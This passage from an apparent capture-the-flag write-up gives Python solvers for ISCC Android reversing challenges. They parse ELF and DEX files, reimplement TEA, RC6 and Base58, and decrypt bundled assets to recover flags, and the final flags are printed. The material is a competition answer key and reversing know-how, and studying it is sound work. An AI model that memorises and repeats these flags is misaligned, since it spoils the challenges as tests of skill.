def invert_matrix_gf256(matrix: bytes) -> bytes:
a = [[matrix[r * 4 + c] for c in range(4)] for r in range(4)]
inv = [[1 if r == c else 0 for c in range(4)] for r in range(4)]
def mul_inv(x: int) -> int:
for y in range(256):
if gf_mul(x, y) == 1:
return y
raise ValueError("matrix is singular")
for col in range(4):
pivot = next((row for row in range(col, 4) if a[row][col] != 0), None)
if pivot is None:
raise ValueError("matrix is singular")
a[col], a[pivot] = a[pivot], a[col]
inv[col], inv[pivot] = inv[pivot], inv[col]
factor = mul_inv(a[col][col])
for c in range(4):
a[col][c] = gf_mul(a[col][c], factor)
inv[col][c] = gf_mul(inv[col][c], factor)
for row in range(4):
if row == col:
continue
factor = a[row][col]
if factor == 0:
continue
for c in range(4):
a[row][c] ^= gf_mul(factor, a[col][c])
inv[row][c] ^= gf_mul(factor, inv[col][c])
return bytes(inv[r][c] for r in range(4) for c in range(4))
def apply_matrix_rowwise(matrix: bytes, data: bytes) -> bytes:
out = bytearray(len(data))
for row_idx in range(len(data) // 4):
row = data[row_idx * 4 : (row_idx + 1) * 4]
for col_idx in range(4):
acc = 0
for k in range(4):
acc ^= gf_mul(matrix[col_idx * 4 + k], row[k])
out[row_idx * 4 + col_idx] = acc
return bytes(out)
def recover_flag(apk_path: str) -> str:
with zipfile.ZipFile(apk_path, "r") as archive:
cipher1 = archive.read("assets/cipher1.bin")
cipher2 = archive.read("assets/cipher2.bin")
cipher3 = archive.read("assets/cipher3.bin")
puzzle = archive.read("assets/puzzle.bin")
x, y, z = build_xyz()
seg1_masked = tea_decrypt_block(cipher1, x)
seg1 = bytes(a ^ b for a, b in zip(seg1_masked, z[1:9]))
y_inv = invert_matrix_gf256(y)
seg2 = apply_matrix_rowwise(y_inv, cipher2)
seed = int.from_bytes(z[:8], "big")
seg3 = bytes(a ^ b for a, b in zip(cipher3, lcg_stream(seed, len(cipher3))))
pmat = puzzle[:16]
pchk = puzzle[16:]
for row in range(4):
acc = 0
for col in range(4):
acc ^= gf_mul(pmat[row * 4 + col], seg1[col])
if acc != pchk[row]:
raise ValueError("puzzle constraint mismatch")
xor_sum = reduce(lambda left, right: left ^ right, seg1, 0)
expect_seg2_0 = CHARSET[(((xor_sum << 3) | (xor_sum >> 5)) & 0xFF) % len(CHARSET)]
if seg2[0] != expect_seg2_0:
raise ValueError("segment 2 constraint mismatch")
mix_xor = 0
mix_sum = 0
for byte in seg1 + seg2:
mix_xor ^= byte
mix_sum = (mix_sum + byte) & 0xFF
if seg3[8] != CHARSET[mix_xor % len(CHARSET)] or seg3[9] != CHARSET[mix_sum % len(CHARSET)]:
raise ValueError("segment 3 tail constraint mismatch")
if apply_matrix_rowwise(y, seg2) != cipher2:
raise ValueError("segment 2 inversion failed")
return (b"ISCC{" + seg1 + seg2 + seg3 + b"}").decode("ascii")
def main() -> int:
if len(sys.argv) != 2:
print(f"usage: python {sys.argv[0]} <attachment.apk>", file=sys.stderr)
return 1
try:
print(recover_flag(sys.argv[1]))
return 0
except Exception as exc:
print(f"error: {exc}", file=sys.stderr)
return 2
if __name__ == "__main__":
raise SystemExit(main())
0x3 蔡文姬的胡笳琴音波谜阵
解题思路总览
这题核心是从 APK 中还原出完整“音律序列 + Native 常量 + DB 种子”,拼出 cw 参数,再解密 target 得到最终明文并包成 flag。
一把梭脚本自动完成了:
- 处理外层
zip和内层嵌套压缩包,自动定位.apk。 - 提取并解析:
assets/appview_cache.dblib/*.so(优先x86_64)classes*.dex
- 从 native 提取:
K1、K2、target、RC6 参数、导出常量。 - 从 DEX 提取:
MAGIC_MASK与音律序列(按频率排序)。 - 从 DB 结合 CRC 流还原两个 seed,构造 RC6 子密钥。
- 执行 Base58 -> XOR(K1) -> RC6 解密,得到 32 字节明文。
- 输出最终
ISCC{...}。
关键运行结果(实测)
在 app-release.zip 上直接运行脚本得到:
package : com.example.mobile04
raw size: 77055908
db : assets/appview_cache.db
sequence: CWJXMASFLOWSTARROSEGOALDANCEMAGI (dex-ascending)
cw : cw:edcec9ec0f4843a0:117e1dad
mask : 0xffeeddcc
K1 : ZPQkG
K2(hex) : 6b4d562648726d635e424e6659575e24
RC6 : p_xor=0xa39d2086 q_add=0x2c2dba9d q_or_before=False
alphabet: 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz
target : CVz7q7mCu5naEASFUFxbULChnD6fLJcaSye3oFpyjEGX
flag : ISCC{JiuSiQuwkMV*Hrmc&B?N=fYW&%u$nksX}最终答案
ISCC{JiuSiQuwkMV*Hrmc&B?N=fYW&%u$nksX}
一把梭运行方式
python solve_hujia_oneclick.py app-release.zip如果你的环境缺少 7z 解压器(内层可能是 .7z),请先安装 7z/7zz/unar 其一。
一把梭脚本(完整)
#!/usr/bin/env python3
import argparse
import binascii
import itertools
import os
import re
import shutil
import struct
import subprocess
import sys
import tempfile
import zipfile
from pathlib import Path
try:
from elftools.elf.elffile import ELFFile
except ImportError as exc:
raise SystemExit("pyelftools is required: python3 -m pip install pyelftools") from exc
MASK32 = 0xFFFFFFFF
DEFAULT_BASE58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
DEFAULT_SEQUENCE = "CWJXMASFLOWSTARROSEGOALDANCEMAGI"
MAGIC_MASK = (-1025350075) & MASK32
TEA_DELTA = (-1640531527) & MASK32
DEFAULT_RC6_P_XOR = 0x5366ECE2
DEFAULT_RC6_Q_ADD = 0x84F32551
def u32(x):
return x & MASK32
def rol32(x, r):
x &= MASK32
r &= 31
if r == 0:
return x
return ((x << r) & MASK32) | (x >> (32 - r))
def ror32(x, r):
x &= MASK32
r &= 31
if r == 0:
return x
return (x >> r) | ((x << (32 - r)) & MASK32)
def java_hashcode(s):
h = 0
for ch in s:
h = u32(31 * h + ord(ch))
return h
def base58_decode(s, alphabet=DEFAULT_BASE58):
pos = {ch: i for i, ch in enumerate(alphabet)}
n = 0
for ch in s:
n = n * 58 + pos[ch]
out = n.to_bytes((n.bit_length() + 7) // 8, "big") if n else b""
leading = len(s) - len(s.lstrip(alphabet[0]))
return (b"\x00" * leading) + out
def swap_adjacent_bits(data):
return bytes((((b & 0x55) << 1) | ((b & 0xAA) >> 1)) & 0xFF for b in data)
def fnv1a64(data):
h = (-3750763034362895579) & 0xFFFFFFFFFFFFFFFF
for b in data:
h = ((h ^ b) * 1099511628211) & 0xFFFFFFFFFFFFFFFF
return h
def tea32_pair(v0, v1, key):
total = 0
for _ in range(32):
total = u32(total + TEA_DELTA)
v0 = u32(v0 + ((((v1 << 4) & MASK32) + key[0]) ^ u32(v1 + total) ^ ((v1 >> 5) + key[1])))
v1 = u32(v1 + ((((v0 << 4) & MASK32) + key[2]) ^ u32(v0 + total) ^ ((v0 >> 5) + key[3])))
return v0, v1
def make_cw(sequence, package_name, raw_size, derive_words, magic_mask=MAGIC_MASK):
seed = u32(java_hashcode(package_name) ^ raw_size ^ magic_mask)
key = [u32(seed ^ x) for x in derive_words]
h = fnv1a64(swap_adjacent_bits(sequence.encode()))
a, b = tea32_pair(h & MASK32, (h >> 32) & MASK32, key)
packed = struct.pack("<II", a, b)
return "cw:%s:%08x" % (packed.hex(), binascii.crc32(packed) & MASK32)
def derive_db_seeds(db_blob, cw_text):
salt = db_blob[:16]
encrypted = db_blob[16:]
crc = binascii.crc32(cw_text.encode() + salt) & MASK32
crc_bytes = crc.to_bytes(4, "little")
def dec_byte(i):
return encrypted[i] ^ ((crc_bytes[i & 3] + i) & 0xFF)
if len(encrypted) < 0xB8:
raise ValueError("appview_cache.db is too small")
seed1 = struct.unpack("<I", bytes(dec_byte(0x80 + i) for i in range(4)))[0]
seed2 = struct.unpack("<I", bytes(dec_byte(0xB4 + i) for i in range(4)))[0]
return seed1, seed2
def rc6_schedule(seed1, seed2, k2, p_xor=DEFAULT_RC6_P_XOR, q_add=DEFAULT_RC6_Q_ADD, q_or_before=False):
if len(k2) != 16:
raise ValueError("K2 must be exactly 16 bytes")
p = u32(rol32(seed2, 13) ^ seed1 ^ p_xor)
q_base = u32(rol32(seed2, 25) ^ seed1)
if q_or_before:
q = u32((q_base | 1) + q_add)
else:
q = u32(q_base + q_add)
q |= 1
s = [u32(p + i * q) for i in range(44)]
l = list(struct.unpack("<4I", k2))
a = b = i = j = 0
for _ in range(132):
a = s[i] = rol32(u32(s[i] + a + b), 3)
b = l[j] = rol32(u32(l[j] + a + b), u32(a + b))
i = (i + 1) % 44
j = (j + 1) % 4
return s
def rc6_decrypt_block(block, s):
a, b, c, d = struct.unpack("<4I", block)
c = u32(c - s[43])
a = u32(a - s[42])
for i in range(20, 0, -1):
a, b, c, d = d, a, b, c
u = rol32(u32(d * u32(2 * d + 1)), 5)
t = rol32(u32(b * u32(2 * b + 1)), 5)
c = u32(ror32(u32(c - s[2 * i + 1]), t) ^ u)
a = u32(ror32(u32(a - s[2 * i]), u) ^ t)
d = u32(d - s[1])
b = u32(b - s[0])
return struct.pack("<4I", a, b, c, d)
def recover_inner(target_b58, k1, k2, db_blob, cw_text, alphabet, rc6_params=None):
target = base58_decode(target_b58, alphabet)
if len(target) < 32:
target = (b"\x00" * (32 - len(target))) + target
elif len(target) > 32:
target = target[-32:]
xored = bytes(b ^ k1[i % len(k1)] for i, b in enumerate(target))
seed1, seed2 = derive_db_seeds(db_blob, cw_text)
schedule = rc6_schedule(seed1, seed2, k2, **(rc6_params or {}))
return rc6_decrypt_block(xored[:16], schedule) + rc6_decrypt_block(xored[16:], schedule)
class ElfView:
def __init__(self, path):
self.path = Path(path)
self.fp = self.path.open("rb")
self.elf = ELFFile(self.fp)
self.ptr_size = 8 if self.elf.elfclass == 64 else 4
def close(self):
self.fp.close()
def vaddr_to_offset(self, vaddr):
for seg in self.elf.iter_segments():
if seg["p_type"] != "PT_LOAD":
continue
start = seg["p_vaddr"]
end = start + seg["p_filesz"]
if start <= vaddr < end:
return seg["p_offset"] + (vaddr - start)
raise ValueError("cannot map vaddr %#x" % vaddr)
def read_at_vaddr(self, vaddr, size):
self.fp.seek(self.vaddr_to_offset(vaddr))
return self.fp.read(size)
def read_cstr(self, vaddr, max_len=4096):
out = bytearray()
for i in range(max_len):
b = self.read_at_vaddr(vaddr + i, 1)
if not b or b == b"\x00":
break
out += b
return bytes(out)
def all_symbols(self):
for name in (".dynsym", ".symtab"):
sec = self.elf.get_section_by_name(name)
if sec is None:
continue
for sym in sec.iter_symbols():
yield sym
def symbol(self, wanted):
for sym in self.all_symbols():
if sym.name == wanted:
return sym
return None
def symbol_containing(self, needle):
for sym in self.all_symbols():
if needle in sym.name:
return sym
return None
def relocation_target(self, offset):
for sec in self.elf.iter_sections():
if not hasattr(sec, "iter_relocations"):
continue
for rel in sec.iter_relocations():
if rel["r_offset"] != offset:
continue
if rel.is_RELA():
return rel["r_addend"]
raw = self.read_at_vaddr(offset, self.ptr_size)
return int.from_bytes(raw, "little")
raw = self.read_at_vaddr(offset, self.ptr_size)
return int.from_bytes(raw, "little")
def pointer_symbol_value(self, name):
sym = self.symbol(name)
if sym is None:
raise ValueError("missing ELF symbol %s" % name)
return self.relocation_target(sym["st_value"])
def parse_derive_words(self):
sym = self.symbol_containing("_n_derive_impl")
if sym is None:
raise ValueError("missing _n_derive_impl")
size = sym["st_size"] or 0x120
data = self.read_at_vaddr(sym["st_value"], min(max(size, 0x80), 0x300))
if self.elf["e_machine"] == "EM_AARCH64":
found = self.parse_aarch64_derive_words(sym["st_value"], data)
if found:
return found
marker = b"\x66\x0f\xef\x05"
idx = data.find(marker)
if idx < 0:
raise ValueError("cannot locate derive vector in _n_derive_impl")
disp = struct.unpack("<i", data[idx + 4 : idx + 8])[0]
const_addr = sym["st_value"] + idx + 8 + disp
return list(struct.unpack("<4I", self.read_at_vaddr(const_addr, 16)))
def parse_base58_alphabet(self):
sym = self.symbol("_Z3_f4PKc") or self.symbol_containing("_f4")
if sym is None:
return None
size = sym["st_size"] or 0x800
data = self.read_at_vaddr(sym["st_value"], min(max(size, 0x100), 0x1200))
if self.elf["e_machine"] == "EM_AARCH64":
found = self.parse_aarch64_alphabet(sym["st_value"], data)
if found:
return found
# x86_64: lea disp32(%rip), %r14 => 4c 8d 35 xx xx xx xx
# This is the alphabet pointer used by strchr in the base58 decoder.
for m in re.finditer(rb"\x4c\x8d\x35(.{4})", data, flags=re.DOTALL):
insn_off = m.start()
disp = struct.unpack("<i", m.group(1))[0]
ptr = sym["st_value"] + insn_off + 7 + disp
try:
s = self.read_cstr(ptr, 128).decode()
except Exception:
continue
if len(s) == 58 and len(set(s)) == 58:
return s
return None
def parse_rc6_params(self):
params = {
"p_xor": DEFAULT_RC6_P_XOR,
"q_add": DEFAULT_RC6_Q_ADD,
"q_or_before": False,
}
sym = self.symbol("_ZN3_C1C2Ejj") or self.symbol_containing("_C1C2Ejj")
if sym is None:
return params
size = sym["st_size"] or 0x300
data = self.read_at_vaddr(sym["st_value"], min(max(size, 0x180), 0x500))
if self.elf["e_machine"] == "EM_AARCH64":
found = self.parse_aarch64_rc6_params(sym["st_value"], data)
if found:
return found
found = self.parse_x86_64_rc6_params(data)
if found:
return found
return params
@staticmethod
def parse_x86_64_rc6_params(data):
p_match = re.search(rb"\x81\xf1(.{4})", data, flags=re.DOTALL)
if not p_match:
return None
params = {
"p_xor": struct.unpack("<I", p_match.group(1))[0],
"q_add": DEFAULT_RC6_Q_ADD,
"q_or_before": False,
}
q_area_start = data.find(b"\x41\x31\xee")
q_area = data[q_area_start : q_area_start + 96] if q_area_start >= 0 else data
add_then_or = re.search(rb"\x41\x81\xc6(.{4}).{0,12}\x41\x83\xce\x01", q_area, flags=re.DOTALL)
if add_then_or:
params["q_add"] = struct.unpack("<I", add_then_or.group(1))[0]
params["q_or_before"] = False
return params
or_then_lea = re.search(rb"\x41\x83\xce\x01.{0,12}\x41\x8d\x96(.{4})", q_area, flags=re.DOTALL)
if or_then_lea:
params["q_add"] = struct.unpack("<I", or_then_lea.group(1))[0]
params["q_or_before"] = True
return params
or_then_add = re.search(rb"\x41\x83\xce\x01.{0,12}\x41\x81\xc6(.{4})", q_area, flags=re.DOTALL)
if or_then_add:
params["q_add"] = struct.unpack("<I", or_then_add.group(1))[0]
params["q_or_before"] = True
return params
def parse_aarch64_rc6_params(self, func_addr, data):
words = [struct.unpack_from("<I", data, i)[0] for i in range(0, len(data) - 3, 4)]
regs = {}
q_reg = p_reg = None
p_xor = q_add = None
q_or_pos = q_add_pos = None
for i, insn in enumerate(words):
decoded = self.decode_aarch64_movwide(insn)
if decoded:
op, rd, imm, shift = decoded
if op == "movz":
regs[rd] = (imm << shift) & MASK32
else:
regs[rd] = u32((regs.get(rd, 0) & ~(0xFFFF << shift)) | (imm << shift))
continue
eor = self.decode_aarch64_logical_shifted(insn)
if eor:
rd, rn, rm, shift_kind, imm = eor
if shift_kind == 3 and imm == 7:
q_reg = rd
continue
if shift_kind == 3 and imm == 19:
p_reg = rd
continue
if p_reg is not None and rd == p_reg and rn == p_reg and shift_kind == 0 and imm == 0:
p_xor = regs.get(rm)
continue
add = self.decode_aarch64_add_register(insn)
if add:
rd, rn, rm = add
if q_add is None and q_reg is not None and rd == q_reg and rn == q_reg:
q_add = regs.get(rm)
q_add_pos = i
continue
orr = self.decode_aarch64_orr_immediate_one(insn)
if orr:
rd, rn = orr
if q_reg is not None and rd == q_reg and rn == q_reg:
q_or_pos = i
if p_xor is None or q_add is None:
return None
return {
"p_xor": p_xor,
"q_add": q_add,
"q_or_before": q_or_pos is not None and q_or_pos < q_add_pos,
}
def parse_aarch64_derive_words(self, func_addr, data):
words = [struct.unpack_from("<I", data, i)[0] for i in range(0, len(data) - 3, 4)]
for i, insn in enumerate(words):
adrp_reg, page = self.decode_aarch64_adrp(func_addr + 4 * i, insn)
if adrp_reg is None:
continue
for j in range(i + 1, min(i + 8, len(words))):
ldr = words[j]
if (ldr & 0xFFC00000) != 0x3DC00000:
continue
rn = (ldr >> 5) & 31
if rn != adrp_reg:
continue
imm = ((ldr >> 10) & 0xFFF) * 16
addr = page + imm
try:
raw = self.read_at_vaddr(addr, 16)
except Exception:
continue
return list(struct.unpack("<4I", raw))
return None
def parse_aarch64_alphabet(self, func_addr, data):
words = [struct.unpack_from("<I", data, i)[0] for i in range(0, len(data) - 3, 4)]
for i, insn in enumerate(words[:-1]):
adrp_reg, page = self.decode_aarch64_adrp(func_addr + 4 * i, insn)
if adrp_reg is None:
continue
add = words[i + 1]
decoded = self.decode_aarch64_add_imm(add)
if decoded is None:
continue
rd, rn, imm = decoded
if rd != adrp_reg or rn != adrp_reg:
continue
try:
s = self.read_cstr(page + imm, 128).decode()
except Exception:
continue
if len(s) == 58 and len(set(s)) == 58:
return s
return None
@staticmethod
def decode_aarch64_adrp(pc, insn):
if (insn & 0x9F000000) != 0x90000000:
return None, None
rd = insn & 31
immlo = (insn >> 29) & 3
immhi = (insn >> 5) & 0x7FFFF
imm = (immhi << 2) | immlo
if imm & (1 << 20):
imm -= 1 << 21
page = (pc & ~0xFFF) + (imm << 12)
return rd, page
@staticmethod
def decode_aarch64_add_imm(insn):
if (insn & 0x7F000000) != 0x11000000:
return None
rd = insn & 31
rn = (insn >> 5) & 31
imm = (insn >> 10) & 0xFFF
if (insn >> 22) & 1:
imm <<= 12
return rd, rn, imm
@staticmethod
def decode_aarch64_movwide(insn):
op = insn & 0x7F800000
if op not in (0x52800000, 0x72800000):
return None
rd = insn & 31
imm = (insn >> 5) & 0xFFFF
shift = ((insn >> 21) & 3) * 16
return ("movz" if op == 0x52800000 else "movk"), rd, imm, shift
@staticmethod
def decode_aarch64_logical_shifted(insn):
if (insn & 0x7F200000) != 0x4A000000:
return None
rd = insn & 31
rn = (insn >> 5) & 31
imm = (insn >> 10) & 0x3F
rm = (insn >> 16) & 31
shift_kind = (insn >> 22) & 3
return rd, rn, rm, shift_kind, imm
@staticmethod
def decode_aarch64_add_register(insn):
if (insn & 0x7FE0FC00) != 0x0B000000:
return None
rd = insn & 31
rn = (insn >> 5) & 31
rm = (insn >> 16) & 31
return rd, rn, rm
@staticmethod
def decode_aarch64_orr_immediate_one(insn):
if (insn & 0x7F800000) != 0x32000000:
return None
rd = insn & 31
rn = (insn >> 5) & 31
return rd, rn
def extract_strings(blob, min_len=4):
cur = bytearray()
for b in blob:
if 32 <= b <= 126:
cur.append(b)
else:
if len(cur) >= min_len:
yield bytes(cur)
cur.clear()
if len(cur) >= min_len:
yield bytes(cur)
def parse_native_constants(so_path):
elf = ElfView(so_path)
try:
k1_ptr = elf.pointer_symbol_value("_K1")
k2_ptr = elf.pointer_symbol_value("_K2")
tgt_ptr = elf.pointer_symbol_value("_TGT")
k1 = elf.read_cstr(k1_ptr)
k2 = elf.read_at_vaddr(k2_ptr, 16)
target = elf.read_cstr(tgt_ptr).decode()
derive_words = elf.parse_derive_words()
alphabet = elf.parse_base58_alphabet()
rc6_params = elf.parse_rc6_params()
finally:
elf.close()
blob = Path(so_path).read_bytes()
if alphabet is None:
alphabet = DEFAULT_BASE58
for s in extract_strings(blob, 50):
text = s.decode(errors="ignore")
if len(text) == 58 and len(set(text)) == 58 and all(ch in text for ch in target):
alphabet = text
break
return k1, k2, target, derive_words, alphabet, rc6_params
def read_uleb128(data, off):
value = 0
shift = 0
while True:
b = data[off]
off += 1
value |= (b & 0x7F) << shift
if b < 0x80:
return value, off
shift += 7
def dex_u32(data, off):
return struct.unpack_from("<I", data, off)[0]
def dex_strings(data):
string_ids_size = dex_u32(data, 0x38)
string_ids_off = dex_u32(data, 0x3C)
out = []
for i in range(string_ids_size):
off = dex_u32(data, string_ids_off + 4 * i)
_, p = read_uleb128(data, off)
raw = bytearray()
while data[p] != 0:
raw.append(data[p])
p += 1
out.append(raw.decode("utf-8", "replace"))
return out
def dex_types(data, strings):
type_ids_size = dex_u32(data, 0x40)
type_ids_off = dex_u32(data, 0x44)
return [strings[dex_u32(data, type_ids_off + 4 * i)] for i in range(type_ids_size)]
def dex_fields(data, strings, types):
field_ids_size = dex_u32(data, 0x50)
field_ids_off = dex_u32(data, 0x54)
out = []
for i in range(field_ids_size):
class_idx, type_idx, name_idx = struct.unpack_from("<HHI", data, field_ids_off + 8 * i)
out.append((types[class_idx], types[type_idx], strings[name_idx]))
return out
def read_encoded_value(data, off):
head = data[off]
off += 1
value_type = head & 0x1F
value_arg = head >> 5
if value_type in (0x00, 0x02, 0x04, 0x06):
size = value_arg + 1
raw = data[off : off + size]
off += size
value = int.from_bytes(raw, "little", signed=False)
if raw and (raw[-1] & 0x80):
value -= 1 << (8 * size)
return value, off
if value_type in (0x03, 0x10, 0x11, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B):
size = value_arg + 1
value = int.from_bytes(data[off : off + size], "little", signed=False)
return value, off + size
if value_type == 0x1C:
size, off = read_uleb128(data, off)
values = []
for _ in range(size):
value, off = read_encoded_value(data, off)
values.append(value)
return values, off
if value_type == 0x1D:
type_idx, off = read_uleb128(data, off)
size, off = read_uleb128(data, off)
values = []
for _ in range(size):
name_idx, off = read_uleb128(data, off)
value, off = read_encoded_value(data, off)
values.append((name_idx, value))
return (type_idx, values), off
if value_type == 0x1E:
return None, off
if value_type == 0x1F:
return bool(value_arg), off
raise ValueError("unsupported dex encoded_value type %#x" % value_type)
def parse_static_int_from_dex_blob(data, package_name, class_name, field_name):
if data[:3] != b"dex":
return None
strings = dex_strings(data)
types = dex_types(data, strings)
fields = dex_fields(data, strings, types)
target_cls = "L%s/%s;" % (package_name.replace(".", "/"), class_name)
class_defs_size = dex_u32(data, 0x60)
class_defs_off = dex_u32(data, 0x64)
for i in range(class_defs_size):
class_idx = dex_u32(data, class_defs_off + 32 * i)
if types[class_idx] != target_cls:
continue
class_data_off = dex_u32(data, class_defs_off + 32 * i + 24)
static_values_off = dex_u32(data, class_defs_off + 32 * i + 28)
if not class_data_off or not static_values_off:
continue
p = class_data_off
static_fields, p = read_uleb128(data, p)
instance_fields, p = read_uleb128(data, p)
direct_methods, p = read_uleb128(data, p)
virtual_methods, p = read_uleb128(data, p)
field_ids = []
field_idx = 0
for _ in range(static_fields):
diff, p = read_uleb128(data, p)
_, p = read_uleb128(data, p)
field_idx += diff
field_ids.append(field_idx)
values = []
q = static_values_off
value_count, q = read_uleb128(data, q)
for _ in range(value_count):
value, q = read_encoded_value(data, q)
values.append(value)
for idx, value in zip(field_ids, values):
if idx < len(fields) and fields[idx][0] == target_cls and fields[idx][2] == field_name:
if isinstance(value, int):
return u32(value)
break
return None
def magic_mask_from_apk(apk_zip, package_name):
for name in apk_zip.namelist():
if not re.fullmatch(r"classes(\d*)\.dex", Path(name).name):
continue
found = parse_static_int_from_dex_blob(apk_zip.read(name), package_name, "K1", "MAGIC_MASK")
if found is not None:
return found
return MAGIC_MASK
def parse_sequence_from_dex_blob(data, package_name):
if data[:3] != b"dex":
return None, []
strings = dex_strings(data)
types = dex_types(data, strings)
method_ids_size = dex_u32(data, 0x58)
method_ids_off = dex_u32(data, 0x5C)
methods = []
for i in range(method_ids_size):
class_idx, _, name_idx = struct.unpack_from("<HHI", data, method_ids_off + 8 * i)
methods.append((types[class_idx], strings[name_idx]))
class_defs_size = dex_u32(data, 0x60)
class_defs_off = dex_u32(data, 0x64)
target_cls = "L%s/HarpMelodyManager;" % package_name.replace(".", "/")
for i in range(class_defs_size):
class_idx = dex_u32(data, class_defs_off + 32 * i)
if types[class_idx] != target_cls:
continue
class_data_off = dex_u32(data, class_defs_off + 32 * i + 24)
if class_data_off == 0:
continue
p = class_data_off
static_fields, p = read_uleb128(data, p)
instance_fields, p = read_uleb128(data, p)
direct_methods, p = read_uleb128(data, p)
virtual_methods, p = read_uleb128(data, p)
for _ in range(static_fields + instance_fields):
_, p = read_uleb128(data, p)
_, p = read_uleb128(data, p)
method_idx = 0
for _ in range(direct_methods):
diff, p = read_uleb128(data, p)
_, p = read_uleb128(data, p)
code_off, p = read_uleb128(data, p)
method_idx += diff
if methods[method_idx][1] == "<init>" and code_off:
values = dex_const_strings_in_code(data, code_off, strings)
pairs = pair_codes_and_freqs(values)
if pairs:
ordered = sorted(pairs, key=lambda x: x[0])
return "".join(code for _, code in ordered), [code for _, code in pairs]
for _ in range(virtual_methods):
_, p = read_uleb128(data, p)
_, p = read_uleb128(data, p)
_, p = read_uleb128(data, p)
return None, []
def dex_const_strings_in_code(data, code_off, strings):
insns_size = dex_u32(data, code_off + 12)
insns_off = code_off + 16
values = []
i = 0
while i < insns_size:
unit = struct.unpack_from("<H", data, insns_off + 2 * i)[0]
op = unit & 0xFF
if op == 0x1A and i + 1 < insns_size:
idx = struct.unpack_from("<H", data, insns_off + 2 * (i + 1))[0]
if idx < len(strings):
values.append(strings[idx])
i += 2
elif op == 0x1B and i + 2 < insns_size:
idx = struct.unpack_from("<I", data, insns_off + 2 * (i + 1))[0]
if idx < len(strings):
values.append(strings[idx])
i += 3
else:
i += 1
return values
def pair_codes_and_freqs(values):
pairs = []
i = 0
while i + 1 < len(values):
code, freq = values[i], values[i + 1]
if re.fullmatch(r"[A-Z0-9_]{2,12}", code) and re.fullmatch(r"\d{2,5}\.\d+", freq):
pairs.append((float(freq), code))
i += 2
else:
i += 1
return pairs
def input_to_apk(input_path, workdir):
input_path = Path(input_path)
if input_path.suffix.lower() == ".apk":
return input_path
nested = input_path
if input_path.suffix.lower() == ".zip":
with zipfile.ZipFile(input_path, "r") as zf:
names = zf.namelist()
apk_names = [n for n in names if n.lower().endswith(".apk")]
if apk_names:
out = Path(workdir) / Path(apk_names[0]).name
with zf.open(apk_names[0]) as src, out.open("wb") as dst:
shutil.copyfileobj(src, dst)
return out
archive_names = [n for n in names if n.lower().endswith((".7z", ".zip"))]
if not archive_names:
raise ValueError("outer zip does not contain an apk or nested archive")
nested = Path(workdir) / Path(archive_names[0]).name
with zf.open(archive_names[0]) as src, nested.open("wb") as dst:
shutil.copyfileobj(src, dst)
outdir = Path(workdir) / "nested"
outdir.mkdir()
if nested.suffix.lower() == ".zip":
with zipfile.ZipFile(nested, "r") as zf:
zf.extractall(outdir)
else:
extractors = []
if shutil.which("7zz"):
extractors.append(["7zz", "x", "-y", "-o" + str(outdir), str(nested)])
if shutil.which("7z"):
extractors.append(["7z", "x", "-y", "-o" + str(outdir), str(nested)])
if shutil.which("unar"):
extractors.append(["unar", "-quiet", "-o", str(outdir), str(nested)])
if not extractors:
raise ValueError("need 7zz, 7z, or unar to extract nested .7z")
last_error = None
for cmd in extractors:
proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if proc.returncode == 0:
break
last_error = proc.stderr.decode(errors="ignore") or proc.stdout.decode(errors="ignore")
else:
raise ValueError("failed to extract nested archive: %s" % last_error)
apks = sorted(outdir.rglob("*.apk"))
if not apks:
raise ValueError("nested archive did not contain an apk")
return apks[0]
def choose_native_lib(apk_zip, workdir):
names = [n for n in apk_zip.namelist() if n.startswith("lib/") and n.endswith(".so")]
preferred = sorted(names, key=lambda n: ("/x86_64/" not in n, "mobile04" not in n, n))
for name in preferred:
out = Path(workdir) / Path(name).name
if "/x86_64/" in name:
out = Path(workdir) / ("x86_64_" + Path(name).name)
with apk_zip.open(name) as src, out.open("wb") as dst:
shutil.copyfileobj(src, dst)
try:
parse_native_constants(out)
return out
except Exception:
continue
raise ValueError("cannot find native library with _K1/_K2/_TGT")
def read_asset_db(apk_zip):
candidates = [n for n in apk_zip.namelist() if n.startswith("assets/") and n.lower().endswith(".db")]
if not candidates:
raise ValueError("cannot find assets/*.db")
name = "assets/appview_cache.db" if "assets/appview_cache.db" in candidates else candidates[0]
return apk_zip.read(name), name
def raw_media_size(apk_zip):
exts = (".mp4", ".webm", ".3gp", ".mp3", ".ogg", ".wav", ".m4a")
candidates = [i for i in apk_zip.infolist() if i.filename.startswith("res/") and i.filename.lower().endswith(exts)]
if not candidates:
raise ValueError("cannot find raw media resource")
return max(candidates, key=lambda x: x.file_size).file_size
def raw_media_size_candidates(apk_zip):
exts = (".mp4", ".webm", ".3gp", ".mp3", ".ogg", ".wav", ".m4a")
infos = [i for i in apk_zip.infolist() if i.filename.startswith("res/") and i.filename.lower().endswith(exts)]
if not infos:
raise ValueError("cannot find raw media resource")
sizes = []
for info in sorted(infos, key=lambda x: x.file_size, reverse=True):
if info.file_size not in sizes:
sizes.append(info.file_size)
return sizes
def package_from_native(so_path):
blob = Path(so_path).read_bytes()
m = re.search(rb"([A-Za-z0-9_/]+/Z1)\x00", blob)
if not m:
raise ValueError("cannot recover package name from native class string")
cls = m.group(1).decode().replace("/", ".")
return cls.rsplit(".", 1)[0]
def decompile_sequence(apk_path, workdir):
jadx = shutil.which("jadx")
if not jadx:
return None
outdir = Path(workdir) / "jadx"
proc = subprocess.run(
[jadx, "-q", "-d", str(outdir), str(apk_path)],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=90,
)
java_files = list(outdir.rglob("HarpMelodyManager.java"))
if not java_files:
return None
text = java_files[0].read_text(errors="ignore")
pairs = re.findall(r'new\s+SkinData\("([^"]+)",\s*"([0-9.]+)"\)', text)
if not pairs:
return None
ordered = sorted(((float(freq), code) for code, freq in pairs), key=lambda x: x[0])
seq = "".join(code for _, code in ordered)
if 25 <= len(seq) <= 64:
return seq
return None
def dex_sequence_from_apk(apk_zip, package_name):
all_codes = []
for name in apk_zip.namelist():
if not re.fullmatch(r"classes(\d*)\.dex", Path(name).name):
continue
seq, codes = parse_sequence_from_dex_blob(apk_zip.read(name), package_name)
all_codes.extend(codes)
if seq and 25 <= len(seq) <= 64:
return seq, codes
return None, all_codes
def printable_inner(data):
return len(data) == 32 and all(32 <= b <= 126 for b in data)
